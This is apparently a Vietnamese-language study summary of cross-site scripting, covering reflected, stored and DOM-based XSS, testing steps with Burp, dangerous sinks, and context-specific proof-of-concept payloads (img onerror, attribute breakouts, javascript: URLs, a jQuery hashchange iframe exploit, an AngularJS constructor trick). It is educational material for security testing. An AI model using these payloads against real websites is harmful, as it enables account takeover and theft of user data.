**TÓM TẮT XSS:**

**Mục lục:**

1. **XSS là gì ?**
2. **XSS hoạt động thế nào ?**
3. **Tác động của XSS ?**
4. **Cách tìm và kiểm tra lỗ hổng XSS ?**
5. **Các loại tấn công XSS ?**
   1. **XSS Reflected ?**
      1. **XSS Reflected là gì ?**
      2. **Tác động của XSS Reflected ?**
      3. **Cách tìm và kiểm tra lỗ hổng XSS Reflected ?**
         1. **Kiểm tra mọi điểm vào**
         2. **Gửi giá trị ngẫu nhiên**
         3. **Xác định ngữ cảnh phản chiếu**
         4. **Kiểm tra tải trọng ứng viên**
         5. **Kiểm tra trong trình duyệt**
      4. **Những câu hỏi thường gặp?**
         1. **Khác biệt giữa stored và reflected**
         2. **Khác biệt giữa self và reflected**
   2. **XSS Stored ?**
      1. **XSS Stored là gì ?**
      2. **Tác động của XSS Stored?**
      3. **Bối cảnh XSS Stored ?**
      4. **Cách tìm và kiểm tra lỗ hổng XSS Stored ?**
   3. **XSS DOM ?**
   4. **Bối cảnh XSS ?**
   5. **CSP**

**1.XSS (Cross-site scripting) LÀ GÌ ?**

- là lỗ hổng cho phép **kẻ tấn công** **xâm phạm** các **tương tác người dùng với ứng dụng**

- cho phép kẻ tấn công **lách chính sách cùng nguồn gốc** (tách biết các trang web khác nhau với nhau )

- cho phép kẻ tấn công **ngụy trang thành nạn nhân**, **thực hiện hành động và truy cập vào dữ liệu của người dùng**

- **nếu** nạn nhân **có quyền truy cập đặc quyền**, kẻ tấn công có thể **giành quyền kiểm soát với tất cả chức năng và dữ liệu của ứng dụng.**

**2. XSS HOẠT ĐỘNG NHƯ THẾ NÀO ?**

- **Thao túng trang web** để **trả về JS độc hại cho người dùng**. Khi **mã độc chạy trong trình duyệt của nạn nhân** 🡪 **xâm phạm hoàn toàn tương tác** của họ **với ứng dụng**

**3. TÁC ĐỘNG CỦA LỖ HỔNG XSS**

- **Phụ thuộc vào bản chất** ứng dụng, **chức năng và dữ liệu** của ứng dụng, **trạng thái người dùng** bị xâm phạm. Ví dụ:

+) Trong brochureware, tất cả người dùng đều ẩn danh và **mọi thông tin công khai** 🡪 **tác động nhỏ**

+) Trong ứng dụng như **ngân hàng, email hoặc hồ sơ sức khỏe** 🡪 **tác động nghiêm trọng**

+) Nếu **người dùng xâm phạm có quyền cao** 🡪 **tác động rất nghiêm trọng**

**4. CÁCH TÌM VÀ KIỂM TRA LỖ HỔNG XSS**

- Phần lớn có thể tìm thấy nhanh tróng và đáng tin cậy bằng trình quét của burp suite

- Kiểm tra thủ công XSS dựa trên **reflected và stored**: thường bao gồm việc **gửi đầu vào duy nhất đơn giản vào mọi điểm trong ứng dụng**, **xác định** **mọi vị trí** đầu vào **đã gửi được trả về trong phản hồi HTTP** và **kiểm tra từng vị trí riêng lẻ** để **xác định** xem **đầu vào được chế tạo phù hợp có thể sử dụng để thực thi JS tùy ý hay không**. 🡪 Có thể **xác định bối cảnh mà XSS xảy ra và chọn tải trọng phù hợp để khai thác**.

- Kiểm tra XSS thủ công dựa trên **DOM**: **phát sinh từ các tham số URL** bao gồm quy trình tương tự: **đặt 1 số đầu vào duy nhất đơn giản vào tham số** 🡪 **sử dụng công cụ** dành cho nhà phát triển **tìm DOM cho đầu vào** và **kiểm tra từng vị trí xem có khai thác được không.**

+) **Để tìm** lỗ hổng **dựa trên DOM trong đầu vào không dựa trên URL** (document.cookie) **hoặc các bồn chứa dựa trên HTML** (setTimeout), không có cách nào ngoài **xem xét mã JS.**

**5. CÁC LOẠI TẤN CÔNG XSS:**

**5.1 XSS REFLECTED**

**5.1.1 XSS Reflected là gì ?**

- Xảy ra khi 1 **ứng dụng nhận dữ liệu trong yêu cầu HTTP** và **đưa dữ liệu** đó **vào phản hồi ngay lập tức theo cách không an toàn.**

- Giả sử web có chức năng tìm kiếm nhận từ khóa do người dùng cung cấp qua URL: <https://insecure-website.com/search?term=gift>

- Ứng dụng không thực hiện bất kỳ xử lý dữ liệu nào khác, kẻ tấn công có thể thực hiện:

[https://insecure-website.com/search?term=<script>/\*+Bad+stuff+here...+\*/</script](https://insecure-website.com/search?term=%3cscript%3e/*+Bad+stuff+here...+*/%3c/script)>

- Url sẽ cho phản hồi:

<p>You searched for: <script>/\* Bad stuff here... \*/</script></p>

- Nếu nạn nhân yêu cầu URL của kẻ tấn công, tập lệnh do kẻ tấn công sẽ thực thi trên trình duyệt của người dùng nạn nhân, trong bối cảnh phiên làm việc của họ với ứng dụng.

**5.1.2 Tác động của XSS Reflected**

- Có thể xâm phạm hoàn toàn người dùng đó. Kẻ tấn công có thể:

+) **Thực hiện** bất kì **hành động** nào mà **người dùng thực hiện**

+) **Xem bất kỳ thông tin nào người dùng có thể**

+) **Sửa** đổi **bất kỳ thông tin nào mà người dùng có thể sửa**

+) **Khởi tạo tương tác với người dùng khác**, gồm các cuộc tấn công độc hại, xuất phát từ người dùng nạn nhân ban đầu.

- Có nhiều cách kẻ tấn công dùng để dụ dỗ nạn nhân đưa ra request mà chúng kiểm soát gồm đặt liên kết trên 1 trang web do kẻ tấn công kiểm soát, hoặc trang web cho phép tạo nội dung, hoặc bằng cách gửi liên kết trong email, tweet,…. Cuộc tấn công có thể nhắm trực tiếp vào 1 người dùng đã biết hoặc bữa bài vào bất kỳ người dùng nào.

🡺 **Nhu cầu về 1 cơ chế phân phối bên ngoài cho cuộc tấn công** nghĩa là tác động của XSS reflected thường **ít nghiêm trọng hơn stored** (1 cuộc tấn công độc lập có thể được phân phối trong chính bản thân ứng dụng dễ bị tấn công).

**5.1.3 Cách tìm và kiểm tra lỗ hổng XSS Reflected**

- Phần lớn có thể tìm thấy nhanh tróng bằng trình quét của Burp suite

- Kiểm tra lỗ hổng XSS theo cách thủ công:

+) **Kiểm tra mọi điểm vào**: **tìm dữ liệu trong các request HTTP của ứng dụng**. **Gồm** các **tham số** hoặc **dữ liệu khác trong chuỗi truy vấn URL và nội dung message**, và **đường dẫn tệp URL**. Cũng bao **gồm HTTP header**, dù XSS chỉ có thể kích hoạt thông qua 1 số tiêu đề HTTP nhất định có thể không khai thác được trong thực tế

+) **Gửi các giá trị chữ số ngẫu nhiên**: **gửi 1 giá trị ngẫu nhiên duy nhất vào mỗi điểm nhập** và **xác định nó** có **được phản ảnh trong phản hồi không**. Giá trị **phải được thiết kế để tồn tại trong hầu hết các xác thực đầu vào**, nên **phải ngắn và chỉ chứa số nhưng cần đủ dài để không xảy ra trùng khớp**. Thường khoảng **8 ký tự.**

+) **Xác định ngữ cảnh phản chiếu**: với **mỗi vị trí trong phản hồi** mà giá trị **được phản chiếu, xác định ngữ cảnh của nó** (trong các thẻ html, thuộc tính thẻ, chuỗi JS,….)

+) **Kiểm tra tải trọng ứng viên**: **Dựa trên ngữ cảnh** reflected, **kiểm tra tải trọng** XSS . Cách dễ nhất là **gửi request tới burp**, **sửa** đổi **request để chèn tải trọng**, **đẩy request đi, xem phản hồi xem tải trọng hoạt động không**. Một cách hiệu quả là **để lại giá trị ngẫu nhiên ban đầu trong yêu cầu và đặt tải trọng trước hoặc sau nó**. Sau đó, **đặt giá trị ngẫu nhiên làm thuật ngữ tìm kiếm trong chế độ xem phản hồi của Burp Repeater.**

+) **Kiểm tra cuộc tấn công trong trình duyệt**: **Nếu thành công** trong việc tìm ra tải trọng có vẻ hoạt động trong burp repeater**, chuyển sang tấn công trình duyệt thực và xem JS được đưa vào có thực sự được thực thi hay không**. Tốt nhất là **thực thi 1 số JS đơn giản như alert(document.domain) sẽ kích hoạt 1 cửa sổ bật lên có thể nhìn thấy trong trình duyệt nếu cuộc tấn công thành công.**

**5.1.4 Những câu hỏi thường gặp về XSS reflected**

- Sự khác biệt giữa XSS reflected và stored: Reflected phát sinh khi 1 ứng dụng lấy số liệu đầu vào từ 1 http request và nhúng dữ liệu vào phản hồi ngay lập tức theo cách không an toàn. Với Stored XSS, thay vào đó, ứng dụng lưu trữ dữ liệu đầu vào và nhúng nó vào phản hồi sau theo cách không an toàn

- Sự khác biệt giữa XSS reflected và self-XSS: Self-XSS liên quan đến hành vi ứng dụng tương tự XSS reflect thông thường, nhưng nó không thể được kích hoạt theo cách thông thường qua URL được tạo thủ công hoặc yêu cầu tên miền. Chỉ được kích hoạt nếu chính nạn nhân gửi tải trọng XSS từ trình duyệt của họ. Việc triển khai 1 cuộc tấn công self-XSS thường liên quan đến việc thực hiện kỹ thuật xã hội để nạn nhân dán 1 số dữ liệu đầu vào do kẻ tấn công cung cấp vào trình duyệt của họ. Do đó, thường được coi là vấn đề khập khiễng, tác động thấp.

**5.2 XSS STORED**

**5.2.1 XSS Stored là gì ?**

- Phát sinh khi một ứng dụng nhận dữ liệu từ 1 nguồn không đáng tin cậy và đưa dữ liệu đó vào các phản hồi HTTP sau đó theo cách không an toàn.

- Giả sử web cho phép người dùng bình luận về các bài đăng trên blog, được hiển thị cho những người dùng khác. Người dùng bình luận bằng HTTP request như sau:

POST /post/comment HTTP/1.1

Host: vulnerable-website.com

Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net

- Sau khi bình luận được gửi, bất kỳ người dùng nào truy cập bài đăng trên blog sẽ nhận thông tin sau trong phản hồi của ứng dụng:

<p>This post was extremely helpful.</p>

- Giả sử ứng dụng không thực hiện xử lý dữ liệu nào khác, kẻ tấn công có thể gửi bình luận độc hại:

<script>/\* Bad stuff here... \*/</script>

- Theo yêu cầu của kẻ tấn công, bình luận sẽ được mã hóa URL thành:

comment=%3Cscript%3E%2F\*%2BBad%2Bstuff%2Bhere...%2B\*%2F%3C%2Fscript%3E

🡪 người nào truy cập bài đăng sẽ nhận được thông tin:

<p><script>/\* Bad stuff here... \*/</script></p>

- Sau đó, tập lệnh do kẻ tấn công cung cấp sẽ được thực thi trên trình duyệt của người dùng nạn nhân, trong bối cảnh phiên làm việc của họ với ứng dụng.

**5.2.2 Tác động của XSS Stored**

- Thường có thể xâm phạm hoàn toàn người dùng. Có thể thực hiện bất kỳ hành động nào có thể áp dụng cho tác động của lỗ hổng XSS Reflected

- Về khả năng khai thác, khác biệt giữa XSS Stored và Reflected là cho phép các cuộc tấn công tự chứa trong chính ứng dụng. Kẻ tấn công không cần phải tìm cách bên ngoài dụ dỗ người dùng thực hiện request cụ thể chứa khai thác. Thay vào đó, đặt khai thác vào chính ứng dụng và chỉ cần đợi người dùng gặp phải nó.

- Bản chất của XSS Stored đặc biệt có liên quan trong các tình huống mà XSS chỉ ảnh hưởng đến những người dùng hiện đang đăng nhập vào ứng dụng. Nếu XSS được phản ánh, thì cuộc tấn công phải được tính thời gian 1 cách ngẫu nhiên: người dùng bị dụ thực hiện yêu cầu của kẻ tấn công vào thời điểm họ không đăng nhập sẽ không bị xâm phạm. Ngược lại XSS lưu trữ, người dùng được đảm bảo đã đăng nhập vào thời điểm họ gặp phải khai thác.

**5.2.3 Bối cảnh XSS Stored**

- Vị trí của dữ liệu được lưu trữ trong phản hồi của ứng dụng xác định loại tải trọng nào cần thiết để khai thác nó và cũng có thể ảnh hưởng đến tác động của lỗ hổng.

- Nếu ứng dụng thực hiện bất kỳ xác thực hoặc xử lý nào khác trên dữ liệu trước khi dữ liệu được lưu trữ hoặc tại thời điểm dữ liệu được lưu trữ được đưa vào phản hồi, sẽ ảnh hưởng đến tải trọng XSS cần thiết.

**5.2.4 Cách tìm và kiểm tra lỗ hổng XSS Stored**

- Kiểm tra thủ công cần kiểm tra tất cả các “điểm vào” có liên quan mà qua đó dữ liệu có thể kiểm soát được của kẻ tấn công có thể vào quá trình xử lý của ứng dụng và tất cả các “điểm thoát” mà dữ liệu đó có thể xuất hiện trong phản hồi của ứng dụng.

- Các điểm nhập vào quá trình xử lý ứng dụng bao gồm:

+) Các tham số hoặc dữ liệu khác trong chuỗi truy vấn URL và nội dung tin nhắn.

+) Đường dẫn tệp URL

+) Header HTTP có thể không khai thác được liên quan đến XSS Reflected

+) Bất kỳ tuyến đường ngoài băng tần nào mà kẻ tấn công có thể gửi dữ liệu vào ứng dụng. Các tuyến đường hiện có hoàn toàn phụ thuộc vào chức năng được ứng dụng triển khai: ứng dụng webmail sẽ xử lý dữ liệu nhận được trong email; ứng dụng hiển thị nguồn cấp dữ liệu Twitter có thể xử lý dữ liệu trong các tweet của bên thứ 3; trình tổng hợp tin tức sẽ bao gồm dữ liệu có nguồn gốc từ các trang web khác.

- Điểm thoát cho các cuộc tấn công XSS stored đều là HTTP response có thể được trả về cho bất kỳ loại người dùng nào trong mọi tình huống.

- Bước đầu tiên trong quá trình kiểm tra lỗ hổng XSS stored là xác định các liên kết giữa điểm vào và điểm ra, theo đó dữ liệu được gửi đến điểm vào được phát ra từ điểm ra. Lý do tại sao điều này có thể khó khăn là:

+) Dữ liệu được gửi đến bất kỳ điểm nhập về nguyên tắc có thể được phát ra từ bất kỳ điểm thoát nào. Ví dụ, tên hiển thị do người dùng cung cấp xuất hiện trong nhật ký kiểm tra tối nghĩa mà chỉ 1 số người dùng ứng dụng mới có thể nhìn thấy.

+) Dữ liệu hiện đang được ứng dụng lưu trữ thường dễ bị ghi đè do các hành động khác được thực hiện trong ứng dụng. Ví dụ, chức năng tìm kiếm có thể hiển thị danh sách tìm kiếm gần đây, danh sách này sẽ nhanh chóng được thay thế khi người dùng hiển các tìm kiếm khác

- Để xác định toàn diện các liên kết giữa các điểm vào và ra sẽ bao gồm việc kiểm tra từng hoàn vị riêng biệt, gửi 1 giá trị cụ thể vào điểm vào, điều hướng trực tiếp đến điểm ra và xác định xem giá trị có xuất hiện ở đó hay không. Tuy nhiên, cách tiếp cận này không thực tế trong ứng dụng có nhiều hơn 1 vài trang.

Thay vào đó, 1 cách tiếp cận thực tế hơn là làm việc có hệ thống thông qua các điểm nhập dữ liệu, gửi 1 giá trị cụ thể vào từng điểm và theo dõi phản hồi của ứng dụng để phát hiện các trường hợp giá trị đã gửi xuất hiện. Có thể đặc biệt chú ý đến các chức năng ứng dụng có liên quan, như bình luận. Khi giá trị đã gửi được quan sát thấy trong phản hồi, bạn cần xác định xem dữ liệu có thực sự được lưu trữ trên các yêu cầu khác nhau hay không, trái ngược với việc chỉ được phản ánh trong phản hồi ngay lập tức.

Khi đã xác định các liên kết giữa các điểm vào và ra trong quá trình xử lý của ứng dụng, mỗi liên kết cần được kiểm tra cụ thể để phát hiện xem có lỗ hổng XSS stored không. Điều này gồm xác định ngữ cảnh trong phản hồi nơi dữ liệu được lưu trữ xuất hiện và kiểm tra các tải trọng XSS ứng viên phù hợp có thể áp dụng cho ngữ cảnh đó. Tại thời điểm này, phương pháp kiểm tra về cơ bản giống như để tìm XSS reflected

**5.3 DOM XSS**

**5.3.1 XSS DOM là gì ?**

- Phát sinh khi JS lấy dữ liệu từ nguồn do kẻ tấn công kiểm soát, như URL, và chuyển dữ liệu đó đến 1 bộ đệm hỗ trợ thực thi mã động, chẳng hạn như eval() hoặc innerHTML; cho phép kẻ tấn công thực thi JS độc hại, thường cho phép chúng chiếm đoạt tài khoản của người dùng khác.

- Để thực hiện tấn công, cần đưa dữ liệu vào nguồn để dữ liệu được truyền đến bộ thu và gây ra việc thực thi JS tùy ý.

Nguồn phổ biến nhất cho DOM XSS là URL, thường được truy cập bằng đối tượng window.location. Kẻ tấn công có thể xây dựng 1 liên kết để gửi nạn nhân đến 1 trang dễ bị tấn công với 1 tải trọng trong chuỗi truy vấn và các phần phân đoạn của URL. Trong 1 số trường hợp nhất định, như khi nhắm mục tiêu vào trang 404 hoặc 1 trang web chạy PHP, tải trọng cũng có thể đặt trong đường dẫn.

**5.3.2 Cách kiểm tra tập lệnh chéo trang dựa trên DOM**

- Để kiểm tra thủ công, thường sử dụng trình duyệt có các công cụ dành cho nhà phát triển, như Chrome. Bạn cần lần lượt xử lý từng nguồn có sẵn và kiểm tra từng nguồn riêng lẻ:

+) **Kiểm tra bồn chứa HTML:** Hãy đặt 1 chuỗi chữ số ngẫu nhiên vào nguồn ( như location.search), sau đó sử dụng các công cụ dành cho nhà phát triển để kiểm tra HTML và tìm nơi chuỗi của bạn xuất hiện. Lưu ý rằng tùy chọn “Source” của trình duyệt không hoạt động với thử nghiệm DOM XSS vì nó không tính đến các thay đổi đã được JS thực hiện trong HTML. Trong các công cụ dành cho nhà phát triển của Chrome, có thể sử dụng Control+F để tìm kiếm DOM cho chuỗi của bạn.

Với mỗi vị trí mà chuỗi xuất hiện trong DOM, cần xác định ngữ cảnh. Dựa trên ngữ cảnh, cần tinh chỉnh đầu vào để xem cách nó được xử lý. Nếu chuỗi xuất hiện trong 1 thuộc tính được trích dẫn kép thì hãy thử chèn “ vào chuỗi của bạn để xem bạn có thể thoát khỏi thuộc tính đó không.

+) **Kiểm tra bộ thực thi JS:** Kiểm tra các sink thực thi JS cho XSS dựa trên DOM khó hơn. Với các thẻ này, đầu vào không nhất thiết phải xuất hiện ở bất kỳ đâu trong DOM, do đó bạn không thể tìm kiếm nó. Thay vào đó, cần sử dụng trình gỡ lỗi JS để xác định đầu vào của bạn có được gửi đến sink hay không và bằng cách nào.

Đối với mỗi nguồn tiềm năng, như location, trước tiên cần tìm các trường hợp trong mã JS của trang nơi nguồn được tham chiếu. Trong công cụ dành cho nhà phát triển của Chrome, có thể sử dụng Control + Shilf + F để tìm kiếm toàn bộ mã JS của trang cho nguồn đó.

Sau khi tìm thấy nơi nguồn được đọc, sử dụng trình gỡ lỗi JS để thêm điểm ngắt và theo dõi cách sử dụng giá trị của nguồn. Có thể thấy nguồn được gán cho các biến khác. Nếu đúng như vậy, cần sử dụng hàm tìm kiếm để theo dõi các biến này và xem chúng được truyền đến 1 sink hay không. Khi tìm thấy 1 sink đang được gán dữ liệu có nguồn gốc từ nguồn, có thể sử dụng trình gỡ lỗi để kiểm tra giá trị bằng cách di chuột qua biến để hiển thị giá trị của nó trước khi được gửi đến sink. Sau đó, giống như sink HTLM, cần tinh chỉnh đầu vào của mình để xem liệu có thể thực hiện thành công 1 cuộc tấn công XSS hay không.

+) **Kiểm tra DOM XSS bằng DOM Invader**

**5.3.3 Khai thác DOM XSS với các nguồn và sink khác nhau**

- 1 trang web dễ bị tấn công bởi DOM XSS nếu có 1 đường dẫn thực thi mà dữ liệu có thể truyền từ nguồn đến sink. Trong thực tế, các nguồn và sink khác nhau có các thuộc tính và hành vi khác nhau có thể ảnh hưởng đến khả năng khai thác và xác định kỹ thuật cần thiết. Các lệnh của trang web có thể thực hiện xác thực hoặc xử lý dữ liệu khác phải được đáp ứng khi cố gắng khai thác lỗ hổng. Có nhiều sink liên quan đến lỗ hổng dựa trên DOM.

- Sink document.write hoạt động với các thành phần script, do đó bạn có thể sử dụng 1 tải trọng đơn giản chẳng hạn như:

document.write('... <script>alert(document.domain)</script> ...');

Tuy nhiên, lưu ý trong 1 số trường hợp, nội dung được viết document.write gồm 1 số ngữ cảnh xung quanh mà bạn cần tính đến trong khai thác. Như có thể cần đóng 1 số phẩn tử hiện có trước khi sử dụng tải trọng JS của mình.

- Sink innerHTML không chấp nhận script các phần tử trên bất kỳ trình duyệt hiện đại nào, cũng như svg onload các sự kiện sẽ không kích hoạt. Điều này có nghĩa cần sử dụng các phần tử thay thế như img hoặc iframe. Các trình xử lý sự kiện như onload và onerror có thể được sử dụng để kết hợp với các phần tử này. Ví dụ:

element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'

**a.Nguồn và sink trong các phụ thuộc của bên thứ 3**

- Các ứng dụng web được xây dựng bằng thư viện và framework của bên thứ 3, thường cung cấp chức năng và khả năng bổ sung cho dev. Trong số này cũng là nguồn và nơi tiềm ẩn cho DOM XSS

**\*DOM XSS trong jQuery**

- Nếu sử dụng jQuery, chú ý đến các sink có thể thay đổi các phần tử DOM trên trang. Ví dụ, attr() có thể thay đổi các thuộc tính của phần tử DOM. Nếu dữ liệu được đọc từ nguồn do người dùng kiểm soát như URL, sau đó được truyền vào attr(), có thể thao tác giá trị được gửi để gây ra XSS. Ví dụ, có 1 số JS thay đổi href thuộc tính của phẩn từ theo cách sử dụng dữ liệu từ URL:

$(function() {

$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));

});

Có thể khai thác bằng cách sửa đổi URL để location.search nguồn chứa URL JS độc hại. Sau khi JS của trang áp dụng URL độc hại vào liên kiết ngược href, nhấp vào liên kết ngược sẽ thực thi nó:

?returnUrl=javascript:alert(document.domain)

- Một lỗ hổng tiềm ẩn khác cần chú ý là $() hàm chọn của jQuery, có thể được sử dụng để đưa các đối tượng độc hại vào DOM.

jQuery từng cực kỳ phổ biến và 1 lỗ hổng DOM XSS cổ điển là do các trang web sử dụng bộ chọn này kết hợp với location.hash cho nguồn ảnh hoặc tự động cuộn đến 1 phần tử cụ thể lên trang. Hành vi này thường được triển khai bằng trình xử lý sự kiện hashchange dễ bị tấn công, như sau:  
$(window).on('hashchange', function() {

var element = $(location.hash);

element[0].scrollIntoView();

});

Vì người dùng có thể kiểm soát hash, kẻ tấn công có thể sử dụng điều này để đưa 1 vecto XSS vào bộ chọn $(). Các phiên bản gần đây đã vá lỗ hổng này bằng ngăn bạn đưa HTML vào bộ chọn khi đầu vào bắt đầu bằng ký tự băm (#). Tuy nhiên, có thể tìm thấy mã dễ bị tấn công trong thực tế.

Để thực sự khai thác lỗ hổng cổ điển này, cần tìm cách kích hoạt sự kiện hashchange mà không cần tương tác của người dùng. 1 trong những cách đơn giản nhất để thực hiện là cung cấp khai thác thông qua iframe:

<iframe src="https://vulnerable-website.com/#" onload="this.src+='<img src=1 onerror=alert(1)>'">

Trong ví dụ này, thuộc tính src trỏ đến trang dễ bị tấn công với giá trị hash rỗng. Khi iframe được tải, 1 vecto XSS được thêm vào hash, khiến sự kiện hashchange kích hoạt.

**Ghi chú:** Ngay cả các phiên bản jQuery mới hơn vẫn có thể bị tấn công thông qua bộ $()chọn, miễn là bạn có toàn quyền kiểm soát đầu vào của nó từ một nguồn không yêu cầu # tiền tố.

**\*DOM XSS trong Angular JS**- Nếu sử dụng framework như Angular JS, có thể thực thi JS mà không cần dấu ngoặc nhọn hoặc sự kiện. Khi 1 trang web sử dụng thuộc tính ng-app trên 1 phần tử HTML, nó sẽ được Angular JS xử lý. Trong trường hợp này, Angular JS sẽ thực thi JS bên trong dấu ngoặc nhọn kép có thể xảy ra trực tiếp trong HTML hoặc bên trong các thuộc tính

- Có thể thực thi mã JS trong cặp: {{ }}. 1 Số đối tượng có thể khai thác để truy cập Function constructor là: $on, $eval, $watch

- Tạo và gọi 1 hàm động như sau: $on.constructor(‘mã cần thực thi’)()

🡪 nó sẽ truy cập vào thuộc tính constructor của $on 🡪 tương đương với function 🡪 tạo 1 hàm mới.

**5.3.4 DOM XSS kết hợp với dữ liệu được reflected và stored**

- 1 số lỗ hổng dựa trên DOM thuần túy nằm trong 1 trang duy nhất. Nếu 1 tập lệnh đọc 1 số dữ liệu từ URL và ghi vào 1 sink nguy hiểm, lỗ hổng hoàn toàn nằm ở phía máy khách.

Tuy nhiên, các nguồn không chỉ ở dữ liệu được trình duyệt trực tiếp tiếp xúc – chúng cũng có thể bắt nguồn từ trang web. Ví dụ, các trang web thường phản ánh các tham số URL trong response HTML từ máy chủ. Điều này thường liên quan đến XSS thông thường, nhưng cũng có thể dẫn đến các lỗ hổng DOM XSS reflected.

Trong lỗ hổng DOM XSS reflected, máy chủ xử lý dữ liệu yêu cầu và phản hồi dữ liệu vào phản hồi. Dữ liệu phản ánh có thể được đặt vào chuỗi ký tự JS hoặc mục dữ liệu trong DOM, chẳng hạn như trường biểu mẫu. Sau đó, 1 tập lệnh trên trang xử lý dữ liệu phản ánh theo cách không an toàn, cuối cùng ghi dữ liệu vào 1 bộ đệm nguy hiểm.

eval('var data = "reflected string"');

Các trang web cũng có thể lưu trữ dữ liệu trên máy chủ và phản ánh ở nơi khác. Trong lỗ hổng DOM XSS được lưu trữ, máy chủ nhận dữ liệu từ 1 yêu cầu, lưu trữ dữ liệu và sau đó đưa dữ liệu vào phản hồi sau. Một tập lệnh trong phản hồi sau đó chứa 1 bộ thu thập dữ liệu sau đó xử lý dữ liệu theo cách không an toàn:

Element.innterHTML = comment.author

**5.3.5 Những sink nào có thể dẫn đến lỗ hổng ?**

- 1 số nguyên nhân chính dẫn đến DOM XSS:  
document.write()

document.writeln()

document.domain

element.innerHTML

element.outerHTML

element.insertAdjacentHTML

element.onevent

- Các hàm jQuery có thể dẫn đến DOM XSS:  
add()

after()

append()

animate()

insertAfter()

insertBefore()

before()

html()

prepend()

replaceAll()

replaceWith()

wrap()

wrapInner()

wrapAll()

has()

constructor()

init()

index()

jQuery.parseHTML()

$.parseHTML()

**5.4 Bối cảnh XSS**

- Khi kiểm tra, nhiệm vụ quan trọng nhất là xác định bối cảnh XSS:  
+) Vị trí trong phản hồi nơi dữ liệu có thể bị kẻ tấn công kiểm soát xuất hiện.

+) Bất kỳ xác thực đầu vào hoặc xử lý nào khác được ứng dụng thực hiện trên dữ liệu đó

**5.4.1 XSS giữa các thẻ HTML**

- Khi ngữ cảnh XSS là văn bản giữa các thẻ HTML, bản cần phải giới thiệu 1 số thẻ HTML mới được thiết kế để kích hoạt thực thi JS.

Một số cách hữu ích để thực thi JS là:

<script>alert(document.domain)</script>

<img src=1 onerror=alert(1)>

**5.4.2 XSS trong thuộc tính thẻ HTML**

- Khi ngữ cảnh XSS nằm trong giá trị thuộc tính thẻ HTML, đôi khi bạn có thể chấm dứt giá trị thuộc tính, đóng thẻ và giới thiệu 1 thẻ mới. Ví dụ:

“><script>alert(document.domain)</script>

Trong tình huống này, dấu ngoặc nhọn thường bị chặn hoặc được mã hóa, do đó đầu vào của bạn không thể thoát khỏi thẻ mà nó xuất hiện. Với điều kiện bạn có thể chấm dứt giá trị thuộc tính, thông thường bạn có thể giới thiệu 1 thuộc tính mới tạo ra ngữ cảnh có thể lập trình, chẳng hạn như trình xử lý sự kiện:

" autofocus onfocus=alert(document.domain) x="

Tải trọng ở trên tạo ra 1 onfocus sự kiện sẽ thực thi JS khi phần tử nhận được tiêu điểm và cũng thêm autofocus thuộc tính để cố gắng kích hoạt onfocus sự kiện tự động mà không cần bất kỳ tương tác nào của người dùng. Cuối cùng, nó thêm vào x=” để sửa chữa đánh dấu sau.

Đôi khi ngữ cảnh XSS nằm trong 1 loại thuộc tính thẻ HTML mà bản thân nó có thể tạo ra ngữ cảnh có thể lập trình. Ở đây, có thể thực thi JS mà không cần phải chấm dứt giá trị thuộc tính. Ví dụ, nếu ngữ cảnh XSS nằm trong thuộc tính href của thẻ neo, có thể sử dụng JS pseudo-protocol để thực thi tập lệnh. Ví dụ:

<a href="javascript:alert(document.domain)">

Bạn có thể gặp các trang web mã hóa dấu ngoặc nhọn nhưng vẫn cho phép bạn chèn thuộc tính. Đôi khi, các thao tác chèn này có thể thực hiện được ngay cả trong các thẻ thường không tự động kích hoạt sự kiện, chẳng hạn như thẻ chính tắc. Bạn có thể khai thác bằng cách sử dụng các phím truy cập và tương tác của người dùng trên Chrome. Các phím truy cập cho phép cung cấp các phím tắt tham chiếu đến 1 phần tử cụ thể. Thuộc tính accesskey cho phép bạn xác định 1 chữ cái, khi được nhấn kết hợp với các phím khác, sẽ khiến sự kiện kích hoạt.

**5.4.3 XSS vào JS**

**a. Kết thúc tập lệnh hiện tại**

- Trong trường hợp đơn giản, chỉ cần đóng thẻ script đang bao quanh JS hiện có và thêm 1 số thẻ HTML mới sẽ kích hoạt thực thi JS. Ví dụ, nếu ngữ cảnh XSS sau:

<script>

...

var input = 'controllable data here';

...

</script>

Sau đó có thể sử dụng đoạn mã để thoát khỏi JS hiện có và thực thi JS của riêng mình:

</script><img src=1 onerror=alert(document.domain)>

Lý do nó hiệu quả là trình duyệt đầu tiên thực hiện phân tích cú pháp HTML để xác định các thành phần trang bao gồm các khối tập lệnh và chỉ sau đó thực hiện phân tích cú pháp JS để hiểu và thực thi các tập lệnh được nhúng. Tải trọng trên để tập lệnh gốc bị hỏng, với chuỗi ký tự chưa kết thúc. Nhưng điều đó không ngăn chặn tập lệnh tiếp theo được phân tích cú pháp và thực thi theo cách thông thường.

**b. Thoát khỏi chuỗi JS**

- Trong trường hợp ngữ cảnh XSS nằm trong chuỗi ký tự được trích dẫn, thường có thể thoát khỏi chuỗi và thực thi JS trực tiếp. Điều cần thiết là phải sửa chữa tập lệnh theo ngữ cảnh XSS, vì bất kỳ lỗi cú pháp nào ở đó sẽ ngăn toàn bộ tập lệnh thực thi.

Một số cách hữu ích để thoát khỏi chuỗi ký tự là:

'-alert(document.domain)-'

';alert(document.domain)//

- Một số ứng dụng cố gắng ngăn chặn đầu vào và thoát khỏi chuỗi JS bằng cách thoát bất kỳ ký tự hoặc dấu ‘ nào bằng dấu \. Dấu gạch chéo ngược trước bất kỳ 1 ký tự cho trình phân tích cú pháp JS biết rằng ký tự đó được giải nghĩa theo nghĩa đen, không phải là 1 ký tự đặc biệt như ký tự kết thúc chuỗi. Trong tình huống này, ứng dụng thường mắc lỗi không thoát khỏi chính ký tự gạch chéo ngược. Điều này có nghĩa kẻ tấn công có thể sử dụng ký tự \ của riêng chúng để vô hiệu hóa dấu \ do ứng dụng thêm vào.

Ví dụ đầu vào: ';alert(document.domain)//

Được chuyển thành: \';alert(document.domain)//

Bây giờ có thể sử dụng tải trọng thay thế: \';alert(document.domain)//

Được chuyển đổi thành: [\\';alert(document.domain)//](file:///\\';alert(document.domain)//)

Ở đây, dấu \ đầu tiên nghĩa là dấu \ thứ 2 được hiểu theo nghĩa đen, không phải ký tự đặc biệt. Điều này có nghĩa là dấu ‘ hiện được hiểu là dấu kết thúc chuỗi, và do đó tấn công thành công.

